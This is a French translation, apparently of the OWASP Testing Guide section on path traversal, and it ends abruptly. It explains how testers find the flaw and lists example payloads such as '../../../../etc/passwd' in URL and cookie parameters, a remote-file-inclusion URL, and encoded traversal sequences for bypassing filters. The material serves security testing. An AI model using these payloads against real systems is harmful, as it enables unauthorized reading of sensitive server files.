Les applications Web utilisent et de gèrent de nombreux fichiers dans le cadre de leur fonctionnement quotidien. En utilisant des méthodes de validation des entrées qui n'ont pas été bien conçues ou déployées, un agresseur peut utiliser le système pour lire / écrire des fichiers qui ne sont pas destinés à être accessible. Dans certaines situations, il pourrait être possible d'exécuter du code arbitraire ou des commandes du système.

• Voir l'article de l'OWASP sur les vulnérabilités Path traversal .
• Voir l'article de l'OWASP sur les vulnérabilités relatives Path Traversal.

• Voir l'article de l'OWASP sur la façon d'éviter les vulnérabilités Path Traversal.

• Voir l'article de l'OWASP sur la façon d'analyser du Code pour découvrir des vulnérabilités Path Traversal.

Traditionnellement, les serveurs Web et applications Web mettent en œuvre des mécanismes d'authentification afin de contrôler l'accès aux fichiers et les ressources. Les Serveurs Web essayent de limiter l'accès des utilisateurs à des fichiers à l'intérieur d'un “répertoire racine” ou “racine des documents web” qui représentent un répertoire physique sur le système de fichiers, les utilisateurs doivent tenir compte de ce répertoire comme répertoire de base dans la structure hiérarchique de l'application Web. La définition des privilèges est faite en utilisant des listes de contrôle d'accès (ACL) qui identifient les utilisateurs ou des groupes auxquels ils sont censés être en mesure d'accéder, de modifier ou d'exécuter un fichier spécifique sur le serveur. Ces mécanismes sont conçus pour empêcher l'accès à des fichiers sensibles par des utilisateurs malveillants (par exemple, le fichier common/etc/ passwd sur une plate-forme Unix-like) ou pour éviter l'exécution de commandes système.

Beaucoup d'applications web utilisent des scripts côté serveur pour inclure différents types de fichiers: il est assez courant d'utiliser cette méthode pour gérer les graphiques, templates, de charger des textes statiques, et ainsi de suite. Malheureusement, ces applications peuvent présenter des failles de sécurité si les paramètres d'entrées (comme les paramètres de formulaire, les valeurs de cookies) ne sont pas correctement validés.

Dans les serveurs Web et les applications Web, ce genre de problème se pose dans des attaques path / file traversal. En exploitant cette vulnérabilité, un attaquant est capable de lire des répertoires ou des fichiers qu'il / elle ne pourrait normalement pas lire, d'accéder à des données en dehors de la racine des documents web, ou d'inclure des scripts et autres types de fichiers à partir de sites Internet externes.

Dans le présent Guide, nous allons simplement examiner les menaces de sécurité liées aux applications Web et non aux serveurs Web (par exemple, le fameux “code d'échappement %5c” sur les serveurs Web Microsoft IIS). Nous vous fournirons d'autres suggestions de lecture dans la section des références, pour les lecteurs intéressés.

Ce genre d'attaque est également connu comme l'attaque dot-dot-slash (.. /), directory traversal, directory climbing, ou backtracking

Lors d'une évaluation, afin de découvrir les failles de path / file traversal, il faut effectuer deux étapes différentes:

• Énumération des vecteurs d'entrée (une évaluation systématique de chaque vecteur d'entrée)
• Évaluation des techniques d'essai (une évaluation méthodique de chaque technique d'attaque utilisé par un attaquant pour exploiter la vulnérabilité)

Afin de déterminer quelle partie de l'application est vulnérable en contournant la validation d'entrée, le testeur doit énumérer toutes les parties de l'application qui acceptent du contenu de l'utilisateur. Cela inclut également les requêtes HTTP GET et POST et les options courantes telles que le téléchargement de fichiers et les formulaires HTML.

Voici quelques exemples des contrôles à effectuer à ce stade:

• Y a t-il des paramètres qui pourraient être utilisés pour des opérations liées à des fichiers?
• Y a t-il des extensions de fichiers inhabituels?
• Y a t-il des noms de variables intéressantes?

http://example.com/getUserProfile.jsp?item=ikki.html 
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm

• Est-il possible d'identifier des cookies utilisés par l'application Web pour la génération dynamique de pages/templates?

Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

La prochaine étape du test est d'analyser les fonctions de validation d'entrée présentes dans l'application Web.

Dans l'exemple précédent, la page dynamique appelée getUserProfile.jsp charge les informations statiques à partir d'un fichier et affiche le contenu aux utilisateurs. Un attaquant pourrait insérer la chaîne malveillant “../../. /../etc/passwd” pour inclure le fichier mot de passe d'un système Linux / Unix. Évidemment, ce genre d'attaque n'est possible que si le contrôle de validation, selon les privilèges du système de fichiers, échoue, l'application Web elle-même doit être en mesure de lire le fichier.

Pour tester avec succès cette faille, le testeur doit avoir une connaissance du système et de l'emplacement des fichiers demandés. Il est inutile de demander le fichier /etc/passwd à partir d'un serveur Web IIS.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

Pour l'exemple des cookies, nous pouvons tester:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

Il est également possible d'inclure des fichiers et des scripts situés sur un site Web externe.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

L'exemple suivant va montrer comment il est possible d'afficher le code source d'un composant CGI, sans utiliser de caractères de path traversal.

http://example.com/main.cgi?home=main.cgi

Le composant appelé “main.cgi” est situé dans le même répertoire que les fichiers HTML statiques normalement utilisées par l'application. Dans certains cas, le testeur doit encoder les requêtes en utilisant des caractères spéciaux (comme le point “.” , le caractère nul “%00” , …) dans le but de contourner les contrôles d'extension de fichier ou d'empêcher l'exécution du script.

Astuce : Une erreur commune des développeurs est de ne pas traiter toutes les formes d'encodage et donc seulement de traiter la validation du contenu codé de base. Si dans un premier temps votre chaîne de test n'est pas réussi, essayez un autre schéma de codage.

Chaque système d'exploitation utilise différents caractères comme séparateur de chemin:

OS de type Unix:

• répertoire racine: “/”
• séparateur de répertoire: “/”

Système d'exploitation Windows “Shell”:

• répertoire racine: “<lettre du disque>: \”
• séparateur de répertoire: “\” ou “/”

OS Mac Classique:

• répertoire racine: “<lettre du disque>:”
• séparateur de répertoires “:”

Nous devons prendre en compte les codage de caractères suivants:

Encodage URL et double encodage URL

%2e%2e%2f représente ../
%2e%2e/ représente ../
..%2f représente ../
%2e%2e%5c représente ..\
%2e%2e\ représente ..\
..%5c représente ..\
%252e% 252e%255c représente ..\
..%255c représente ..\ et ainsi de suite.

Encodage unicode/UTF-8 (il fonctionne uniquement sur les systèmes qui sont en mesure d'accepter de trop longues séquences UTF-8)

..%c0%af représente ../
..%c1%9c représente ..\

Il y a d'autres considérations spécifiques aux systèmes d'exploitation et aux infrastructures d'application. Par exemple, Windows est flexible dans son analyse de chemins d'accès.

Shell Windows

L'utilisation de n'importe lequel des opérandes suivants dans les chemins utilisés dans une commande shell ne produit aucune différence dans les résultats:

• Crochets “

  >" et "<" à la fin du chemin

  • Les guillemets doubles (bien fermé) à la fin du chemin
  • Les marqueurs de répertoire courant étrangers comme ”./“ Ou “.”
  • Les marqueurs de répertoire parent étrangers avec des objets arbitraires qui peuvent ou peuvent ne pas exister

  E

  xemples: